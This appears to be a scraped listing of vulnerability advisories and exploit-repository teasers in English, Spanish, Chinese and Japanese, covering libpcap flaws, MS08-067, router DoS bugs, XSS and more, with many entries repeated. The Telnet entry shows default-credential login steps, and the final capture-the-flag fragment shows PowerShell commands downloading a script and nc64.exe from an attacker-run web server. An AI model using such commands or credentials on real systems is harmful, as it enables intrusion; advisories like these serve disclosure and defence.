ms08-067

📖 Resumen Este repositorio contiene una implementación de módulo de Metasploit para la vulnerabilidad del servicio de servidor de Windows MS08-067 CVE-2008-4250. Esta es una vulnerabilidad clásica de ejecución remota de código que afecta a sistemas Windows antiguos. 🛠️ Instalación y Uso Requisitos...

CVE-2026-18313 rpcapd memory leak in libpcap before 1.10.7

rpcapd can allocate up to 65536 bytes per each RPCAPMSGUPDATEFILTERREQ or RPCAPMSGSTARTCAPREQ message received from the client, but it never frees the memory, so it leaks memory even under normal use. A malicious client can cause the server to leak memory substantially faster...

CVE-2026-18313

CVE-2026-18313 is a memory leak in the rpcapd (remote capture daemon) component of libpcap versions before 1.10.7 . Each RPCAP_MSG_UPDATEFILTER_REQ or RPCAP_MSG_STARTCAP_REQ message from a client causes an allocation of up to 65536 bytes that is never freed, leaking memory even under normal use. ...

EUVD-2026-72019

libpcap BPF interpreter treats the offset in the 'ja L' BPF instruction as a signed integer to implement looping via backward jumps, but it does not limit the number of loop iterations. In particular uncommon use cases a crafted filter program can cause the interpreter to loop infinitely...

CVE-2026-6554 infinte loop in libpcap before 1.10.7

libpcap BPF interpreter treats the offset in the 'ja L' BPF instruction as a signed integer to implement looping via backward jumps, but it does not limit the number of loop iterations. In particular uncommon use cases a crafted filter program can cause the interpreter to loop infinitely...

CVE-2026-31911

libpcap (the packet capture library used by tcpdump) contains a vulnerability in its BPF interpreter that calls abort() upon encountering a BPF instruction with an invalid opcode. In uncommon use cases, a crafted filter program can cause the host OS process to terminate, resulting in a local deni...

CVE-2026-31911 abort() in libpcap before 1.10.7 on an invalid BPF opcode

libpcap BPF interpreter calls abort if it encounters a BPF instruction that has an invalid opcode. In particular uncommon use cases a crafted filter program can terminate the OS process...

CVE-2026-31911 abort() in libpcap before 1.10.7 on an invalid BPF opcode

libpcap BPF interpreter calls abort if it encounters a BPF instruction that has an invalid opcode. In particular uncommon use cases a crafted filter program can terminate the OS process...

CVE-2026-31911

libpcap BPF interpreter calls abort if it encounters a BPF instruction that has an invalid opcode. In particular uncommon use cases a crafted filter program can terminate the OS process...

CVE-2026-31911

libpcap BPF interpreter calls abort if it encounters a BPF instruction that has an invalid opcode. In particular uncommon use cases a crafted filter program can terminate the OS process...

EUVD-2026-72017

libpcap BPF interpreter calls abort if it encounters a BPF instruction that has an invalid opcode. In particular uncommon use cases a crafted filter program can terminate the OS process...

CVE-2025-66838

CVE-2025-66838 缺乏速率限制 - 文件上传 描述 攻击者可以快速上传大量文件，导致拒绝服务 CVSS 分数：6.5（中等） 攻击类型 远程（需认证） 受影响版本 版本 10.0.23.0.3587512 发现者： Yazan Abu-Nadi...

CVE-2023-37073

CVE-2023-37073 Telnet 默认凭据可能导致信息泄露和拒绝服务 DoS 攻击。 复现步骤 此漏洞影响 AP AR-5310 root@kitploit: Telnet 192.168.1.1 username:user password:user 然后 Boom ... 你已登录 通过 Telnet 默认凭据泄露信息 root@kitploit: 当你通过 Telnet 服务登录后， 输入命令 'help' 或 '?' 可查看 可用选项： reboot, ping, lanhosts, passwd restoredefault, nslookup, traceroute...

CVE-2024-36539

Contour v1.28.3 における安全でない権限の脆弱性の概念実証 PoC このリポジトリには、Contour v1.28.3 における安全でない権限の脆弱性を示す概念実証 PoC スクリプトが含まれています。この脆弱性により、攻撃者はサービスアカウントのトークンを取得して機密データにアクセスし、権限を昇格させることができます。 脆弱性の説明 CVE-ID : Pending 概要 : Contour v1.28.3...

cve-2017-11176

cve-2017-11176 公开信息 Linux 内核至 4.11.9 版本中的 mqnotify 函数在进入重试逻辑时未将 sock 指针设置为 NULL。在用户空间关闭 Netlink 套接字期间，攻击者可利用此漏洞造成拒绝服务（释放后使用）或可能产生未明确的其他影响。 状态： 强制 netlinkattachskb 返回 1 解除对利用线程的阻塞 强制第二次 fget 调用返回 NULL 创建漏洞利用 参考： Linux 内核漏洞利用分步指南...

jsonorg-tp1

json.org CVE-2022-45688 真阳性 该项目演示了 json.org 中的 CVE-2022-45688——有一个简单的应用程序 XML2JSONConverter 从输入读取 XML，将其转换为 JSON 并 美观打印到控制台。 使用恶意输入，应用程序会因栈溢出而崩溃。 测试用例 CVE202245688Test 演示了此行为，可以通过运行 mvn test 来执行。 运行软件组合分析 有多个 sh 脚本用于运行不同的分析，结果报告可在 scan-results 中找到。 生成 SBOM pom.xml 包含一个插件，用于生成 CycloneDX 格式的 SBOM。...

CVE-2024-42861

CVE-2024-42861 针对IEEE 802.1AS标准（gPTP协议）的DOS攻击 CVE编号 CVE-2024-42861 产品 IEEE 802.1AS标准 版本 IEEE 802.1AS-2020, IEEE 802.1AS-2010 问题 DOS攻击 描述 当启用了IEEE...

CVE-2026-19745

简介 大家好，今年五月我在自己的路由器上发现了一些不错的漏洞，今天终于可以展示给大家了！ 本仓库中的两个漏洞都是经过身份验证的拒绝服务（Denial of Service）漏洞！ 我并不清楚这些漏洞具体是如何以及为何产生的技术细节，我们从未收到 Calix（此处的厂商）的回复，所以……耶！真有趣！ 这也是我人生中第一个和第二个 CVE，买一送一，不客气。 CVE-2026-19745 CVE-2026-19745 是一个影响我路由器的资源关闭或释放不当（Improper Resource Shutdown or Release）导致的拒绝服务漏洞 :...

-CVE-2021-41962

-CVE-2021-41962 描述 Sourcecodester Vehicle Service Management System 1.0 中存在跨站脚本（XSS）漏洞，位于 vehicleservice 中的“发送服务请求”的“所有者全名”参数。 附加信息 无 漏洞类型 跨站脚本（XSS） 产品供应商 https://www.sourcecodester.com/ 受影响的产品代码库 Vehicle Service Management System - 1.0 受影响组件 http://localhost/vehicleservice/ 攻击类型 远程 影响信息泄露 是 攻击向量...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...